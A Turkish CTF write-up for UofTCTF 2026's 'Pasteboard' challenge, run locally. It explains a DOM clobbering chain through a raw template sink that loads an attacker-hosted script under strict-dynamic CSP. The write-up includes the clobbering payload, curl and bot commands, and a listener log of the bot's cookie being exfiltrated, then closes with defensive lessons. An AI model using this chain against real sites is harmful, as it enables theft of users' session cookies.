UofTCTF 2026 — Pasteboard Çözümü

DOMPurify korurken zafiyet sunucu tarafındaki raw sink ve DOM clobbering'te: window.renderConfig'i ele geçirip throw tetikliyor, window.errorReporter.path.value ile strict-dynamic altında keyfi script yükleyip botun çerezini exfil ediyorum.

3 dk okuma
ibrahimsql
579 kelime

UofTCTF 2026 — Pasteboard

Not paylaşım uygulaması ve bir admin bot. DOMPurify 3.3.1 güncel, CSP nonce + strict-dynamic yazıyor; klasik <script> veya onerror işe yaramıyor. Zafiyet sanitizer'da değil: sunucu şablonu kullanıcı gövdesini |safe ile enjekte ediyor, app.js ise window üzerindeki global isimlere güveniyor. İkisi birleşince DOM clobbering → strict-dynamic altında keyfi script → admin çerezinden bayrak.

Kapsam: yalnız yerel koşu. Hiçbir dış sisteme dokunulmadı.

1. Kaynak incelemesi

view.html iki sink sunuyor. Biri ham, biri kaçışlı:

<div id="injected">{{ msg|safe }}</div>
<template id="rawMsg">{{ msg|e }}</template>
<div id="card" data-mode="safe"></div>

CSP script-src 'nonce-...' 'strict-dynamic' — inline script ve inline handler ölü, ama default-src 'self', connect-src *, img-src 'self' data:.

app.js kaçışlı #rawMsg'ı DOMPurify'dan geçirip #card'a yazıyor; ham #injected'a dokunmuyor:

const raw = n ? n.textContent : "";            // rawMsg, escaped
const clean = DOMPurify.sanitize(raw, { ALLOW_DATA_ATTR: false });
card.innerHTML = clean;                          // tek DOM yazımı, sanitize'lı

Yani sanitizer tarafı doğru: #card sink'i kapalı. Asıl ham HTML #injected'dan DOM'a giriyor — <script> çalışmaz, ama id/name taşıyan elementler window'a isim olarak bağlanır. Üstelik app.js hata yolunda bu global'leri okuyor:

JavaScript
} catch (err) {
  window.lastRenderError = String(err);
  handleError();
}
function handleError() {
  const c = window.errorReporter || { path: "/telemetry/error-reporter.js" };
  const p = c.path && c.path.value ? c.path.value : String(c.path || "/telemetry/error-reporter.js");
  const s = document.createElement("script");
  s.src = new URL(p).href;                        // keyfi URL
  document.head.appendChild(s);
}

İki global iki koldan kontrol edilebilir: window.renderConfig (cfg.mode.toLowerCase() satırı) ve window.errorReporter.path.value (s.src). strict-dynamic sayesinde, güvenilir bir script'in (app.js, nonce'lı) oluşturduğu <script> da güvenilir kabul edilir; host allowlist atlanır.

Zincir: ham |safe sink → DOM clobbering → cfg.mode throw → catch → clobberlanmış errorReporter.path.value → <script src=attacker> → exfil. DOMPurify devre dışı kalmıyor; hiç dokunulmuyor.

2. Çalıştırma

Bot'un taşıdığı çerez set edilecek (arşiv bot.py'da FLAG sabiti tanımlı ama kullanılmıyor; gerçek bot bayrağı çerezde taşır). Uygulamayı ve bir exfil dinleyicisini ayağa kaldırıyorum.

macOS'ta :5000 AirPlay tarafından tutulduğu için uygulamayı 127.0.0.1:5001'de koştum. Same-origin yalnız /report ucunu bağlıyor; bot'u doğrudan sürdüğüm için akış aynı. Dinleyici :8899, çerez alan adı 127.0.0.1.

Bash
# exfil dinleyicisi (exfil.js sunar, /leak çağrılarını loglar)
python listener.py          # 127.0.0.1:8899
 
# uygulama, kaynağı değiştirmeden
python -c "import app; app.app.run(host='127.0.0.1', port=5001)"

Not gövdesi clobber payload'ı:

<form id="errorReporter"><input name="path" value="http://127.0.0.1:8899/exfil.js"></form>
<div id="renderConfig"></div>
  • <div id="renderConfig"> → window.renderConfig bir element; .mode tanımsız → cfg.mode.toLowerCase() throw.
  • <form id="errorReporter"><input name="path" …> → window.errorReporter.path.value = bizim URL (iki katmanlı clobbering).
curl -s -D - -o /dev/null -X POST http://127.0.0.1:5001/note/new \
  --data-urlencode "title=dating" --data-urlencode "body=$BODY"
# Location: /note/872fff9dc87a40c1bf1e849b414c35d3

3. Bot ve exfil

Bot'u Selenium yerine doğrudan CDP ile sürdüm (chromedriver sürüm uyuşmazlığı); önce çerezi set edip notu açıyor:

cmd("Network.setCookie", {"name": "flag", "value": "uoftctf{fake_flag}", "url": ORIGIN + "/"})
cmd("Page.navigate", {"url": TARGET})

Bot notu açtığı an zincir tetikleniyor. Dinleyicinin gerçek logu:

GET /exfil.js
GET /leak?cookie=flag%3Duoftctf%7Bfake_flag%7D&path=%2Fnote%2F872fff9dc87a40c1bf1e849b414c35d3
GET /leak?probe=executed&cookie=flag%3Duoftctf%7Bfake_flag%7D

GET /exfil.js → strict-dynamic keyfi script'i yürüttü. Ardından iki fetch('/leak?…') botun çerezini taşıdı. URL-decode:

flag=uoftctf{fake_flag}

document.cookie de sayfada aynen görünüyor: flag=uoftctf{fake_flag}.

4. Bayrak ve ders

uoftctf{fake_flag}

Arşivdeki bot.py bu sabiti taşır; gerçek yarışmada her örneğe farklı üretilir. Kanıtlanan, zincirin kendisi.

Ders: sanitizer'ı doğru kullanmak yetmiyor. Aynı sayfada kullanıcı HTML'ini |safe ile basan ikinci bir sink varsa, <script> çalışmasa bile id/name ile window global'lerini ele geçirmek yetiyor. window.renderConfig ve window.errorReporter gibi "config" nesnelerini DOM'dan türetmek, strict-dynamic ile birlikte tam XSS'e dönüşür. Kullanıcı HTML'ini ham basma; config'i DOM isim uzayından değil, data- özniteliği gibi okunması güvenli bir yerden al; strict-dynamic ile nonce'lu script'in ürettiği src'yi asla kullanıcı girdisinden türetme.

---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar